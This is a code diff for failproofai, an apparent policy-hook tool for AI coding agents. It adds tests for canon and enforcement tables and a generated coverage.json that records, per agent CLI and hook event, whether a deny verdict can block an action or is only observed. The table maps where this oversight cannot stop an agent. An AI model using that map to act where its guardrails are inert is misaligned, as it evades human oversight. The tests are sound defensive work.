expect(covered).toEqual([...entry.event_types].sort()); + // A partition, not merely a cover — no event may be in both halves. + expect(new Set(covered).size).toBe(covered.length); + }, + ); + + it.each([...INTEGRATION_TYPES])("%s: every event_map value is a HOOK_EVENT_TYPES member", (cli) => { + const canonicalEvents = new Set(HOOK_EVENT_TYPES as readonly string[]); + for (const [vendorEvent, canonicalEvent] of Object.entries(canon.clis[cli].event_map)) { + expect( + canonicalEvents.has(canonicalEvent), + `${cli}: ${vendorEvent} → ${canonicalEvent} is not in HOOK_EVENT_TYPES`, + ).toBe(true); + } + }); + + it.each([...INTEGRATION_TYPES])("%s: reachable_canonical_events is the image of event_map", (cli) => { + const entry = canon.clis[cli]; + expect(entry.reachable_canonical_events).toEqual( + [...new Set(Object.values(entry.event_map))].sort(), + ); + }); + + it.each([...INTEGRATION_TYPES])("%s: event_types matches the exported constant", (cli) => { + const ns = types as unknown as Record; + const declared = ns[`${cli.toUpperCase()}_HOOK_EVENT_TYPES`] as readonly string[] | undefined; + const entry = canon.clis[cli]; + if (declared) { + expect(entry.event_types_source).toBe(`${cli.toUpperCase()}_HOOK_EVENT_TYPES`); + expect(entry.event_types).toEqual([...declared].sort()); + } else { + // The fallback is only legitimate when the CLI also declares no event map + // — i.e. its vendor event names ARE the canonical names. + expect(ns[`${cli.toUpperCase()}_EVENT_MAP`]).toBeUndefined(); + expect(entry.event_types_source).toBe("HOOK_EVENT_TYPES"); + expect(entry.event_types).toEqual([...(HOOK_EVENT_TYPES as readonly string[])].sort()); + } + }); + + it.each([...INTEGRATION_TYPES])("%s: event_map matches the exported constant", (cli) => { + const ns = types as unknown as Record; + const declared = ns[`${cli.toUpperCase()}_EVENT_MAP`] as Record | undefined; + const entry = canon.clis[cli]; + expect(entry.event_names_are_canonical).toBe(!declared); + if (declared) { + // The generator drops entries whose target is not a HookEventType; those + // land in unmapped_event_types instead. + const canonicalEvents = new Set(HOOK_EVENT_TYPES as readonly string[]); + const expected = Object.fromEntries( + Object.entries(declared).filter(([, v]) => canonicalEvents.has(v)), + ); + expect(entry.event_map).toEqual(expected); + } else { + for (const [key, value] of Object.entries(entry.event_map)) expect(value).toBe(key); + } + }); + + it.each([...INTEGRATION_TYPES])("%s: tool tables match the exported constants", (cli) => { + const ns = types as unknown as Record; + const prefix = cli.toUpperCase(); + const toolMap = ns[`${prefix}_TOOL_MAP`] as Record | undefined; + const toolInputMap = ns[`${prefix}_TOOL_INPUT_MAP`] as + | Record> + | undefined; + const entry = canon.clis[cli]; + expect(entry.tool_map_source).toBe(toolMap ? `${prefix}_TOOL_MAP` : null); + expect(entry.tool_map).toEqual(toolMap ?? {}); + expect(entry.tool_input_map_source).toBe(toolInputMap ? `${prefix}_TOOL_INPUT_MAP` : null); + expect(entry.tool_input_map).toEqual(toolInputMap ?? {}); + }); + + it.each([...INTEGRATION_TYPES])("%s: scopes match the exported constant", (cli) => { + const ns = types as unknown as Record; + const declared = ns[`${cli.toUpperCase()}_HOOK_SCOPES`] as readonly string[] | undefined; + const entry = canon.clis[cli]; + expect(entry.scopes).toEqual([...(declared ?? (HOOK_SCOPES as readonly string[]))].sort()); + expect(entry.scopes_source).toBe(declared ? `${cli.toUpperCase()}_HOOK_SCOPES` : "HOOK_SCOPES"); + }); + + it("canonical_tool_names is the union of every tool_map value", () => { + const union = new Set(); + for (const cli of INTEGRATION_TYPES) { + for (const value of Object.values(canon.clis[cli].tool_map)) union.add(value); + } + expect(canon.canonical_tool_names).toEqual([...union].sort()); + }); + + it("every tool_input_map is keyed by a CANONICAL tool name, never a vendor name", () => { + // tool_input_map is applied AFTER tool_map, so a vendor-named key would + // never match and the mapping would silently no-op. + for (const cli of INTEGRATION_TYPES) { + const entry = canon.clis[cli]; + const producible = new Set(Object.values(entry.tool_map)); + for (const toolName of Object.keys(entry.tool_input_map)) { + expect( + producible.has(toolName), + `${cli}: tool_input_map key ${toolName} is not produced by ${cli}'s tool_map — it can never match`, + ).toBe(true); + } + } + }); +}); + +describe("canon tables — payload normalizations", () => { + it("uses only the declared vocabulary", () => { + expect(canon.payload_normalization_vocabulary.require_type).toEqual( + [...PAYLOAD_REQUIRE_TYPES].sort(), + ); + expect(canon.payload_normalization_vocabulary.when).toEqual([...PAYLOAD_WHEN].sort()); + for (const cli of INTEGRATION_TYPES) { + for (const rule of canon.clis[cli].payload_normalizations) { + expect(PAYLOAD_REQUIRE_TYPES as readonly string[]).toContain(rule.require_type); + expect(PAYLOAD_WHEN as readonly string[]).toContain(rule.when); + expect(rule.from.length).toBeGreaterThan(0); + expect(rule.to.length).toBeGreaterThan(0); + } + } + }); + + it("is keyed only by INTEGRATION_TYPES members", () => { + for (const cli of Object.keys(PAYLOAD_NORMALIZATIONS)) { + expect(INTEGRATION_TYPES as readonly string[]).toContain(cli); + } + }); + + it("every rule sourced from handler.ts is present in handler.ts, and vice versa", () => { + // The rules are transcribed rather than imported (handler.ts holds them as + // inline code, not exported constants), so this is the tripwire that keeps + // the transcription honest. It brace-matches every `if (cli === "…") { … }` + // block that WRITES to `parsed` — the payload-normalization blocks, as + // opposed to the read-only `canonicalizeEventType` dispatch — and compares + // the set of canonical keys assigned against the transcribed rules. + const handler = readFileSync(resolve(ROOT, "src", "hooks", "handler.ts"), "utf8"); + + const normalizationBlocksFor = (cli: string): string[] => { + const marker = `if (cli === "${cli}") {`; + const blocks: string[] = []; + let from = 0; + for (;;) { + const start = handler.indexOf(marker, from); + if (start === -1) break; + let depth = 0; + let end = handler.length - 1; + for (let i = start + marker.length - 1; i < handler.length; i += 1) { + if (handler[i] === "{") depth += 1; + else if (handler[i] === "}") { + depth -= 1; + if (depth === 0) { + end = i; + break; + } + } + } + const block = handler.slice(start, end + 1); + if (/parsed\.[A-Za-z_][A-Za-z0-9_]*\s*=[^=]/.test(block)) blocks.push(block); + from = end + 1; + } + return blocks; + }; + + for (const cli of INTEGRATION_TYPES) { + const rules = (PAYLOAD_NORMALIZATIONS[cli] ?? []).filter( + (r) => r.source === "src/hooks/handler.ts", + ); + const blocks = normalizationBlocksFor(cli); + + if (rules.length === 0) { + expect( + blocks, + `handler.ts has a "${cli}" payload-normalization block with no transcribed rules — ` + + `add it to PAYLOAD_NORMALIZATIONS in scripts/gen-canon-tables.ts and regenerate`, + ).toEqual([]); + continue; + } + expect( + blocks.length, + `handler.ts is missing the "${cli}" payload-normalization block`, + ).toBeGreaterThan(0); + + const assigned = new Set(); + for (const block of blocks) { + for (const m of block.matchAll(/parsed\.([A-Za-z_][A-Za-z0-9_]*)\s*=[^=]/g)) { + assigned.add(m[1]); + } + } + expect( + [...assigned].sort(), + `handler.ts's "${cli}" block assigns a different set of canonical keys than PAYLOAD_NORMALIZATIONS`, + ).toEqual([...new Set(rules.map((r) => r.to))].sort()); + + const joined = blocks.join("\n"); + for (const rule of rules) { + const leaf = String(rule.from[rule.from.length - 1]); + const sourceKey = typeof rule.from[0] === "string" ? rule.from[0] : leaf; + expect( + joined.includes(sourceKey), + `handler.ts's "${cli}" block does not read ${sourceKey} (rule → ${rule.to})`, + ).toBe(true); + } + } + }); + + it("the cursor cwd fallback still lives in resolve-cwd.ts", () => { + const rules = (PAYLOAD_NORMALIZATIONS.cursor ?? []).filter( + (r) => r.source === "src/hooks/resolve-cwd.ts", + ); + expect(rules).toHaveLength(1); + const source = readFileSync(resolve(ROOT, "src", "hooks", "resolve-cwd.ts"), "utf8"); + expect(source).toContain(`integration === "cursor"`); + expect(source).toContain("workspace_roots"); + expect(rules[0].to).toBe("cwd"); + }); +}); + +describe("enforcement capability", () => { + it("declares only the known label vocabulary", () => { + expect(enforcement.labels).toEqual( + KNOWN_ENFORCEMENT_LABELS.filter((l) => enforcement.labels.includes(l)), + ); + for (const label of enforcement.labels) expect(KNOWN_ENFORCEMENT_LABELS).toContain(label); + }); + + it.each([...INTEGRATION_TYPES])("%s: every label is from the known vocabulary", (cli) => { + for (const [event, label] of Object.entries(enforcement.clis[cli].capabilities)) { + expect(KNOWN_ENFORCEMENT_LABELS, `${cli}/${event} has label ${label}`).toContain(label); + expect(enforcement.labels).toContain(label); + } + }); + + it.each([...INTEGRATION_TYPES])("%s: capabilities match ENFORCEMENT_CAPABILITY exactly", (cli) => { + expect(enforcement.clis[cli].capabilities).toEqual(ENFORCEMENT_CAPABILITY[cli]); + }); + + it.each([...INTEGRATION_TYPES])("%s: every labelled event is a HOOK_EVENT_TYPES member", (cli) => { + const canonicalEvents = new Set(HOOK_EVENT_TYPES as readonly string[]); + for (const event of Object.keys(enforcement.clis[cli].capabilities)) { + expect(canonicalEvents.has(event), `${cli}: ${event} is not a HookEventType`).toBe(true); + } + }); + + it.each([...INTEGRATION_TYPES])( + "%s: capabilities ∪ unverified_events covers the reachable events", + (cli) => { + const entry = enforcement.clis[cli]; + const reachable = new Set(canon.clis[cli].reachable_canonical_events); + const labelled = Object.keys(entry.capabilities).filter((e) => reachable.has(e)); + expect([...labelled, ...entry.unverified_events].sort()).toEqual([...reachable].sort()); + }, + ); + + it.each([...INTEGRATION_TYPES])( + "%s: no capability is keyed on an event the CLI cannot produce", + (cli) => { + // Non-empty means enforcement-capability.ts and types.ts disagree about + // which events a CLI has — a real bug in one of them, not a table nit. + expect(enforcement.clis[cli].capabilities_outside_reachable_events).toEqual([]); + }, + ); +}); diff --git a/__tests__/parity/coverage.json b/__tests__/parity/coverage.json new file mode 100644 index 00000000..81f9b60f --- /dev/null +++ b/__tests__/parity/coverage.json @@ -0,0 +1,810 @@ +{ + "cells": { + "antigravity": { + "ConfigChange": "not-registered", + "CwdChanged": "not-registered", + "Elicitation": "not-registered", + "ElicitationResult": "not-registered", + "FileChanged": "not-registered", + "InstructionsLoaded": "not-registered", + "Notification": "not-registered", + "PermissionDenied": "not-registered", + "PermissionRequest": "not-registered", + "PostCompact": "not-registered", + "PostToolBatch": "not-registered", + "PostToolUse": "observe-only", + "PostToolUseFailure": "not-registered", + "PreCompact": "not-registered", + "PreToolUse": "reachable", + "SessionEnd": "not-registered", + "SessionStart": "not-registered", + "Setup": "not-registered", + "Stop": "reachable", + "StopFailure": "not-registered", + "SubagentStart": "not-registered", + "SubagentStop": "not-registered", + "TaskCompleted": "not-registered", + "TaskCreated": "not-registered", + "TeammateIdle": "not-registered", + "UserPromptExpansion": "not-registered", + "UserPromptSubmit": "observe-only", + "WorktreeCreate": "not-registered", + "WorktreeRemove": "not-registered" + }, + "claude": { + "ConfigChange": "reachable", + "CwdChanged": "observe-only", + "Elicitation": "reachable", + "ElicitationResult": "reachable", + "FileChanged": "observe-only", + "InstructionsLoaded": "observe-only", + "Notification": "observe-only", + "PermissionDenied": "observe-only", + "PermissionRequest": "reachable", + "PostCompact": "observe-only", + "PostToolBatch": "reachable", + "PostToolUse": "observe-only", + "PostToolUseFailure": "observe-only", + "PreCompact": "reachable", + "PreToolUse": "reachable", + "SessionEnd": "observe-only", + "SessionStart": "observe-only", + "Setup": "observe-only", + "Stop": "reachable", + "StopFailure": "observe-only", + "SubagentStart": "observe-only", + "SubagentStop": "reachable", + "TaskCompleted": "reachable", + "TaskCreated": "reachable", + "TeammateIdle": "reachable", + "UserPromptExpansion": "reachable", + "UserPromptSubmit": "reachable", + "WorktreeCreate": "not-registered", + "WorktreeRemove": "observe-only" + }, + "codex": { + "ConfigChange": "not-registered", + "CwdChanged": "not-registered", + "Elicitation": "not-registered", + "ElicitationResult": "not-registered", + "FileChanged": "not-registered", + "InstructionsLoaded": "not-registered", + "Notification": "not-registered", + "PermissionDenied": "not-registered", + "PermissionRequest": "reachable", + "PostCompact": "observe-only", + "PostToolBatch": "not-registered", + "PostToolUse": "observe-only", + "PostToolUseFailure": "not-registered", + "PreCompact": "observe-only", + "PreToolUse": "reachable", + "SessionEnd": "not-registered", + "SessionStart": "observe-only", + "Setup": "not-registered", + "Stop": "reachable", + "StopFailure": "not-registered", + "SubagentStart": "observe-only", + "SubagentStop": "reachable", + "TaskCompleted": "not-registered", + "TaskCreated": "not-registered", + "TeammateIdle": "not-registered", + "UserPromptExpansion": "not-registered", + "UserPromptSubmit": "reachable", + "WorktreeCreate": "not-registered", + "WorktreeRemove": "not-registered" + }, + "copilot": { + "ConfigChange": "not-registered", + "CwdChanged": "not-registered", + "Elicitation": "not-registered", + "ElicitationResult": "not-registered", + "FileChanged": "not-registered", + "InstructionsLoaded": "not-registered", + "Notification": "observe-only", + "PermissionDenied": "not-registered", + "PermissionRequest": "reachable", + "PostCompact": "not-registered", + "PostToolBatch": "not-registered", + "PostToolUse": "observe-only", + "PostToolUseFailure": "observe-only", + "PreCompact": "observe-only", + "PreToolUse": "reachable", + "SessionEnd": "observe-only", + "SessionStart": "observe-only", + "Setup": "not-registered", + "Stop": "reachable", + "StopFailure": "not-registered", + "SubagentStart": "not-registered", + "SubagentStop": "reachable", + "TaskCompleted": "not-registered", + "TaskCreated": "not-registered", + "TeammateIdle": "not-registered", + "UserPromptExpansion": "not-registered", + "UserPromptSubmit": "reachable", + "WorktreeCreate": "not-registered", + "WorktreeRemove": "not-registered" + }, + "cursor": { + "ConfigChange": "not-registered", + "CwdChanged": "not-registered", + "Elicitation": "not-registered", + "ElicitationResult": "not-registered", + "FileChanged": "not-registered", + "InstructionsLoaded": "not-registered", + "Notification": "not-registered", + "PermissionDenied": "not-registered", + "PermissionRequest": "not-registered", + "PostCompact": "not-registered", + "PostToolBatch": "not-registered", + "PostToolUse": "observe-only", + "PostToolUseFailure": "not-registered", + "PreCompact": "not-registered", + "PreToolUse": "reachable", + "SessionEnd": "observe-only", + "SessionStart": "observe-only", + "Setup": "not-registered", + "Stop": "reachable", + "StopFailure": "not-registered", + "SubagentStart": "not-registered", + "SubagentStop": "registered-unverified", + "TaskCompleted": "not-registered", + "TaskCreated": "not-registered", + "TeammateIdle": "not-registered", + "UserPromptExpansion": "not-registered", + "UserPromptSubmit": "reachable", + "WorktreeCreate": "not-registered", + "WorktreeRemove": "not-registered" + }, + "devin": { + "ConfigChange": "not-registered", + "CwdChanged": "not-registered", + "Elicitation": "not-registered", + "ElicitationResult": "not-registered", + "FileChanged": "not-registered", + "InstructionsLoaded": "not-registered", + "Notification": "not-registered", + "PermissionDenied": "not-registered", + "PermissionRequest": "reachable", + "PostCompact": "not-registered", + "PostToolBatch": "not-registered", + "PostToolUse": "observe-only", + "PostToolUseFailure": "not-registered", + "PreCompact": "not-registered", + "PreToolUse": "reachable", + "SessionEnd": "observe-only", + "SessionStart": "observe-only", + "Setup": "not-registered", + "Stop": "reachable", + "StopFailure": "not-registered", + "SubagentStart": "not-registered", + "SubagentStop": "not-registered", + "TaskCompleted": "not-registered", + "TaskCreated": "not-registered", + "TeammateIdle": "not-registered", + "UserPromptExpansion": "not-registered", + "UserPromptSubmit": "reachable", + "WorktreeCreate": "not-registered", + "WorktreeRemove": "not-registered" + }, + "factory": { + "ConfigChange": "not-registered", + "CwdChanged": "not-registered", + "Elicitation": "not-registered", + "ElicitationResult": "not-registered", + "FileChanged": "not-registered", + "InstructionsLoaded": "not-registered", + "Notification": "observe-only", + "PermissionDenied": "not-registered", + "PermissionRequest": "not-registered", + "PostCompact": "not-registered", + "PostToolBatch": "not-registered", + "PostToolUse": "observe-only", + "PostToolUseFailure": "not-registered", + "PreCompact": "reachable", + "PreToolUse": "reachable", + "SessionEnd": "observe-only", + "SessionStart": "observe-only", + "Setup": "not-registered", + "Stop": "reachable", + "StopFailure": "not-registered", + "SubagentStart": "not-registered", + "SubagentStop": "observe-only", + "TaskCompleted": "not-registered", + "TaskCreated": "not-registered", + "TeammateIdle": "not-registered", + "UserPromptExpansion": "not-registered", + "UserPromptSubmit": "reachable", + "WorktreeCreate": "not-registered", + "WorktreeRemove": "not-registered" + }, + "goose": { + "ConfigChange": "not-registered", + "CwdChanged": "not-registered", + "Elicitation": "not-registered", + "ElicitationResult": "not-registered", + "FileChanged": "not-registered", + "InstructionsLoaded": "not-registered", + "Notification": "not-registered", + "PermissionDenied": "not-registered", + "PermissionRequest": "not-registered", + "PostCompact": "not-registered", + "PostToolBatch": "not-registered", + "PostToolUse": "observe-only", + "PostToolUseFailure": "not-registered", + "PreCompact": "not-registered", + "PreToolUse": "reachable", + "SessionEnd": "observe-only", + "SessionStart": "observe-only", + "Setup": "not-registered", + "Stop": "not-registered", + "StopFailure": "not-registered", + "SubagentStart": "not-registered", + "SubagentStop": "not-registered", + "TaskCompleted": "not-registered", + "TaskCreated": "not-registered", + "TeammateIdle": "not-registered", + "UserPromptExpansion": "not-registered", + "UserPromptSubmit": "observe-only", + "WorktreeCreate": "not-registered", + "WorktreeRemove": "not-registered" + }, + "hermes": { + "ConfigChange": "not-registered", + "CwdChanged": "not-registered", + "Elicitation": "not-registered", + "ElicitationResult": "not-registered", + "FileChanged": "not-registered", + "InstructionsLoaded": "not-registered", + "Notification": "not-registered", + "PermissionDenied": "not-registered", + "PermissionRequest": "not-registered", + "PostCompact": "not-registered", + "PostToolBatch": "not-registered", + "PostToolUse": "observe-only", + "PostToolUseFailure": "not-registered", + "PreCompact": "not-registered", + "PreToolUse": "reachable", + "SessionEnd": "observe-only", + "SessionStart": "observe-only", + "Setup": "not-registered", + "Stop": "not-registered", + "StopFailure": "not-registered", + "SubagentStart": "not-registered", + "SubagentStop": "observe-only", + "TaskCompleted": "not-registered", + "TaskCreated": "not-registered", + "TeammateIdle": "not-registered", + "UserPromptExpansion": "not-registered", + "UserPromptSubmit": "not-registered", + "WorktreeCreate": "not-registered", + "WorktreeRemove": "not-registered" + }, + "openclaw": { + "ConfigChange": "not-registered", + "CwdChanged": "not-registered", + "Elicitation": "not-registered", + "ElicitationResult": "not-registered", + "FileChanged": "not-registered", + "InstructionsLoaded": "not-registered", + "Notification": "not-registered", + "PermissionDenied": "not-registered", + "PermissionRequest": "not-registered", + "PostCompact": "not-registered", + "PostToolBatch": "not-registered", + "PostToolUse": "observe-only", + "PostToolUseFailure": "not-registered", + "PreCompact": "observe-only", + "PreToolUse": "reachable", + "SessionEnd": "observe-only", + "SessionStart": "observe-only", + "Setup": "not-registered", + "Stop": "reachable", + "StopFailure": "not-registered", + "SubagentStart": "not-registered", + "SubagentStop": "observe-only", + "TaskCompleted": "not-registered", + "TaskCreated": "not-registered", + "TeammateIdle": "not-registered", + "UserPromptExpansion": "not-registered", + "UserPromptSubmit": "reachable", + "WorktreeCreate": "not-registered", + "WorktreeRemove": "not-registered" + }, + "opencode": { + "ConfigChange": "not-registered", + "CwdChanged": "not-registered", + "Elicitation": "not-registered", + "ElicitationResult": "not-registered", + "FileChanged": "not-registered", + "InstructionsLoaded": "not-registered", + "Notification": "not-registered", + "PermissionDenied": "not-registered", + "PermissionRequest": "observe-only", + "PostCompact": "not-registered", + "PostToolBatch": "not-registered", + "PostToolUse": "observe-only", + "PostToolUseFailure": "not-registered", + "PreCompact": "not-registered", + "PreToolUse": "reachable", + "SessionEnd": "observe-only", + "SessionStart": "observe-only", + "Setup": "not-registered", + "Stop": "registered-unverified", + "StopFailure": "not-registered", + "SubagentStart": "not-registered", + "SubagentStop": "not-registered", + "TaskCompleted": "not-registered", + "TaskCreated": "not-registered", + "TeammateIdle": "not-registered", + "UserPromptExpansion": "not-registered", + "UserPromptSubmit": "observe-only", + "WorktreeCreate": "not-registered", + "WorktreeRemove": "not-registered" + }, + "pi": { + "ConfigChange": "not-registered", + "CwdChanged": "not-registered", + "Elicitation": "not-registered", + "ElicitationResult": "not-registered", + "FileChanged": "not-registered", + "InstructionsLoaded": "not-registered", + "Notification": "not-registered", + "PermissionDenied": "not-registered", + "PermissionRequest": "not-registered", + "PostCompact": "not-registered", + "PostToolBatch": "not-registered", + "PostToolUse": "observe-only", + "PostToolUseFailure": "not-registered", + "PreCompact": "not-registered", + "PreToolUse": "reachable", + "SessionEnd": "observe-only", + "SessionStart": "observe-only", + "Setup": "not-registered", + "Stop": "observe-only", + "StopFailure": "not-registered", + "SubagentStart": "not-registered", + "SubagentStop": "not-registered", + "TaskCompleted": "not-registered", + "TaskCreated": "not-registered", + "TeammateIdle": "not-registered", + "UserPromptExpansion": "not-registered", + "UserPromptSubmit": "reachable", + "WorktreeCreate": "not-registered", + "WorktreeRemove": "not-registered" + } + }, + "derivation": { + "not-registered": "The canonical event is NOT in the image of getIntegration(cli).eventTypes under _EVENT_MAP (identity when the CLI declares no map). failproofai writes no hook entry for it, so the evaluator is never invoked for this pair at all.", + "observe-only": "Registered, and ENFORCEMENT_CAPABILITY[cli][event] === \"observe\": the hook fires but the vendor discards the verdict (or the tool has already run), so a deny cannot change the agent's behaviour.", + "reachable": "Registered, and ENFORCEMENT_CAPABILITY[cli][event] === \"block\": the verdict is read at a call site that prevents the action or forces the agent to continue/retry. These are the cells the parity corpus must cover.", + "registered-unverified": "Registered, but ENFORCEMENT_CAPABILITY has NO entry for the pair. src/hooks/enforcement-capability.ts's doctrine is that an absent row means NOT VERIFIED, never \"block\" and never \"observe\" — labelling these either way would assert something nobody traced. The hook still fires, so the encoder still runs and the corpus still covers them." + }, + "description": "Is the (cli, canonical event) pair covered by a hook failproofai installs, and does the vendor honour a decision on it? Computed from the sources below by scripts/gen-parity-corpus.mjs — never classified by hand.", + "generated_by": "scripts/gen-parity-corpus.mjs", + "labels": [ + "not-registered", + "observe-only", + "reachable", + "registered-unverified" + ], + "notes": [ + "The three-label vocabulary in the plan (reachable / not-registered / observe-only) is not total: it has no room for a pair whose hook fires but whose vendor behaviour nobody has traced. src/hooks/enforcement-capability.ts is explicit that an absent row means UNKNOWN — calling it \"reachable\" would claim protection nobody verified, and calling it \"observe-only\" would tell a user a working policy is inert. Hence the fourth label, \"registered-unverified\", for exactly those cells: cursor/SubagentStop, opencode/Stop.", + "For corpus purposes registered-unverified behaves like reachable: the hook fires, so the encoder runs, so a reimplementation must produce identical bytes.", + "A cell moving to not-registered means failproofai stopped installing that hook. __tests__/parity/coverage.test.ts fails the build on it — that is the regression this file exists to catch.", + "Regenerating cannot hide such a move. capabilities_outside_install_set is asserted empty against the LIVE constants, so an event dropped from an install list while enforcement-capability.ts still claims the vendor honours a verdict there fails the build no matter how many times the corpus is regenerated." + ], + "per_cli": { + "antigravity": { + "capabilities_outside_install_set": [], + "install_list_source": "ANTIGRAVITY_HOOK_EVENT_TYPES", + "installed_canonical_events": [ + "PostToolUse", + "PreToolUse", + "Stop", + "UserPromptSubmit" + ], + "installed_vendor_events": [ + "PostToolUse", + "PreInvocation", + "PreToolUse", + "Stop" + ], + "totals": { + "not-registered": 25, + "observe-only": 2, + "reachable": 2, + "registered-unverified": 0 + }, + "unmapped_vendor_events": [] + }, + "claude": { + "capabilities_outside_install_set": [], + "install_list_source": "CLAUDE_INSTALL_EVENT_TYPES", + "installed_canonical_events": [ + "ConfigChange", + "CwdChanged", + "Elicitation", + "ElicitationResult", + "FileChanged", + "InstructionsLoaded", + "Notification", + "PermissionDenied", + "PermissionRequest", + "PostCompact", + "PostToolBatch", + "PostToolUse", + "PostToolUseFailure", + "PreCompact", + "PreToolUse", + "SessionEnd", + "SessionStart", + "Setup", + "Stop", + "StopFailure", + "SubagentStart", + "SubagentStop", + "TaskCompleted", + "TaskCreated", + "TeammateIdle", + "UserPromptExpansion", + "UserPromptSubmit", + "WorktreeRemove" + ], + "installed_vendor_events": [ + "ConfigChange", + "CwdChanged", + "Elicitation", + "ElicitationResult", + "FileChanged", + "InstructionsLoaded", + "Notification", + "PermissionDenied", + "PermissionRequest", + "PostCompact", + "PostToolBatch", + "PostToolUse", + "PostToolUseFailure", + "PreCompact", + "PreToolUse", + "SessionEnd", + "SessionStart", + "Setup", + "Stop", + "StopFailure", + "SubagentStart", + "SubagentStop", + "TaskCompleted", + "TaskCreated", + "TeammateIdle", + "UserPromptExpansion", + "UserPromptSubmit", + "WorktreeRemove" + ], + "totals": { + "not-registered": 1, + "observe-only": 14, + "reachable": 14, + "registered-unverified": 0 + }, + "unmapped_vendor_events": [] + }, + "codex": { + "capabilities_outside_install_set": [], + "install_list_source": "CODEX_HOOK_EVENT_TYPES", + "installed_canonical_events": [ + "PermissionRequest", + "PostCompact", + "PostToolUse", + "PreCompact", + "PreToolUse", + "SessionStart", + "Stop", + "SubagentStart", + "SubagentStop", + "UserPromptSubmit" + ], + "installed_vendor_events": [ + "permission_request", + "post_compact", + "post_tool_use", + "pre_compact", + "pre_tool_use", + "session_start", + "stop", + "subagent_start", + "subagent_stop", + "user_prompt_submit" + ], + "totals": { + "not-registered": 19, + "observe-only": 5, + "reachable": 5, + "registered-unverified": 0 + }, + "unmapped_vendor_events": [] + }, + "copilot": { + "capabilities_outside_install_set": [], + "install_list_source": "COPILOT_HOOK_EVENT_TYPES", + "installed_canonical_events": [ + "Notification", + "PermissionRequest", + "PostToolUse", + "PostToolUseFailure", + "PreCompact", + "PreToolUse", + "SessionEnd", + "SessionStart", + "Stop", + "SubagentStop", + "UserPromptSubmit" + ], + "installed_vendor_events": [ + "ErrorOccurred", + "Notification", + "PermissionRequest", + "PostToolUse", + "PostToolUseFailure", + "PreCompact", + "PreToolUse", + "SessionEnd", + "SessionStart", + "Stop", + "SubagentStop", + "UserPromptSubmit" + ], + "totals": { + "not-registered": 18, + "observe-only": 6, + "reachable": 5, + "registered-unverified": 0 + }, + "unmapped_vendor_events": [ + "ErrorOccurred" + ] + }, + "cursor": { + "capabilities_outside_install_set": [], + "install_list_source": "CURSOR_HOOK_EVENT_TYPES", + "installed_canonical_events": [ + "PostToolUse", + "PreToolUse", + "SessionEnd", + "SessionStart", + "Stop", + "SubagentStop", + "UserPromptSubmit" + ], + "installed_vendor_events": [ + "beforeSubmitPrompt", + "postToolUse", + "preToolUse", + "sessionEnd", + "sessionStart", + "stop", + "subagentStop" + ], + "totals": { + "not-registered": 22, + "observe-only": 3, + "reachable": 3, + "registered-unverified": 1 + }, + "unmapped_vendor_events": [] + }, + "devin": { + "capabilities_outside_install_set": [], + "install_list_source": "DEVIN_HOOK_EVENT_TYPES", + "installed_canonical_events": [ + "PermissionRequest", + "PostToolUse", + "PreToolUse", + "SessionEnd", + "SessionStart", + "Stop", + "UserPromptSubmit" + ], + "installed_vendor_events": [ + "PermissionRequest", + "PostToolUse", + "PreToolUse", + "SessionEnd", + "SessionStart", + "Stop", + "UserPromptSubmit" + ], + "totals": { + "not-registered": 22, + "observe-only": 3, + "reachable": 4, + "registered-unverified": 0 + }, + "unmapped_vendor_events": [] + }, + "factory": { + "capabilities_outside_install_set": [], + "install_list_source": "FACTORY_HOOK_EVENT_TYPES", + "installed_canonical_events": [ + "Notification", + "PostToolUse", + "PreCompact", + "PreToolUse", + "SessionEnd", + "SessionStart", + "Stop", + "SubagentStop", + "UserPromptSubmit" + ], + "installed_vendor_events": [ + "Notification", + "PostToolUse", + "PreCompact", + "PreToolUse", + "SessionEnd", + "SessionStart", + "Stop", + "SubagentStop", + "UserPromptSubmit" + ], + "totals": { + "not-registered": 20, + "observe-only": 5, + "reachable": 4, + "registered-unverified": 0 + }, + "unmapped_vendor_events": [] + }, + "goose": { + "capabilities_outside_install_set": [], + "install_list_source": "GOOSE_HOOK_EVENT_TYPES", + "installed_canonical_events": [ + "PostToolUse", + "PreToolUse", + "SessionEnd", + "SessionStart", + "UserPromptSubmit" + ], + "installed_vendor_events": [ + "PostToolUse", + "PreToolUse", + "SessionEnd", + "SessionStart", + "UserPromptSubmit" + ], + "totals": { + "not-registered": 24, + "observe-only": 4, + "reachable": 1, + "registered-unverified": 0 + }, + "unmapped_vendor_events": [] + }, + "hermes": { + "capabilities_outside_install_set": [], + "install_list_source": "HERMES_HOOK_EVENT_TYPES", + "installed_canonical_events": [ + "PostToolUse", + "PreToolUse", + "SessionEnd", + "SessionStart", + "SubagentStop" + ], + "installed_vendor_events": [ + "on_session_end", + "on_session_start", + "post_tool_call", + "pre_tool_call", + "subagent_stop" + ], + "totals": { + "not-registered": 24, + "observe-only": 4, + "reachable": 1, + "registered-unverified": 0 + }, + "unmapped_vendor_events": [] + }, + "openclaw": { + "capabilities_outside_install_set": [], + "install_list_source": "OPENCLAW_HOOK_EVENT_TYPES", + "installed_canonical_events": [ + "PostToolUse", + "PreCompact", + "PreToolUse", + "SessionEnd", + "SessionStart", + "Stop", + "SubagentStop", + "UserPromptSubmit" + ], + "installed_vendor_events": [ + "after_tool_call", + "before_agent_finalize", + "before_agent_run", + "before_compaction", + "before_tool_call", + "session_end", + "session_start", + "subagent_ended" + ], + "totals": { + "not-registered": 21, + "observe-only": 5, + "reachable": 3, + "registered-unverified": 0 + }, + "unmapped_vendor_events": [] + }, + "opencode": { + "capabilities_outside_install_set": [], + "install_list_source": "OPENCODE_HOOK_EVENT_TYPES", + "installed_canonical_events": [ + "PermissionRequest", + "PostToolUse", + "PreToolUse", + "SessionEnd", + "SessionStart", + "Stop", + "UserPromptSubmit" + ], + "installed_vendor_events": [ + "message.updated", + "permission.ask", + "session.created", + "session.deleted", + "session.idle", + "tool.execute.after", + "tool.execute.before" + ], + "totals": { + "not-registered": 22, + "observe-only": 5, + "reachable": 1, + "registered-unverified": 1 + }, + "unmapped_vendor_events": [] + }, + "pi": { + "capabilities_outside_install_set": [], + "install_list_source": "PI_HOOK_EVENT_TYPES", + "installed_canonical_events": [ + "PostToolUse", + "PreToolUse", + "SessionEnd", + "SessionStart", + "Stop", + "UserPromptSubmit" + ], + "installed_vendor_events": [ + "agent_end", + "input", + "session_shutdown", + "session_start", + "tool_call", + "tool_result", + "user_bash" + ], + "totals": { + "not-registered": 23, + "observe-only": 4, + "reachable": 2, + "registered-unverified": 0 + }, + "unmapped_vendor_events": [] + } + }, + "regenerate_with": "bun scripts/gen-parity-corpus.mjs", + "schema_version": 1, + "sources": [ + "src/hooks/integrations.ts (getIntegration(cli).eventTypes — the events a hook is written for)", + 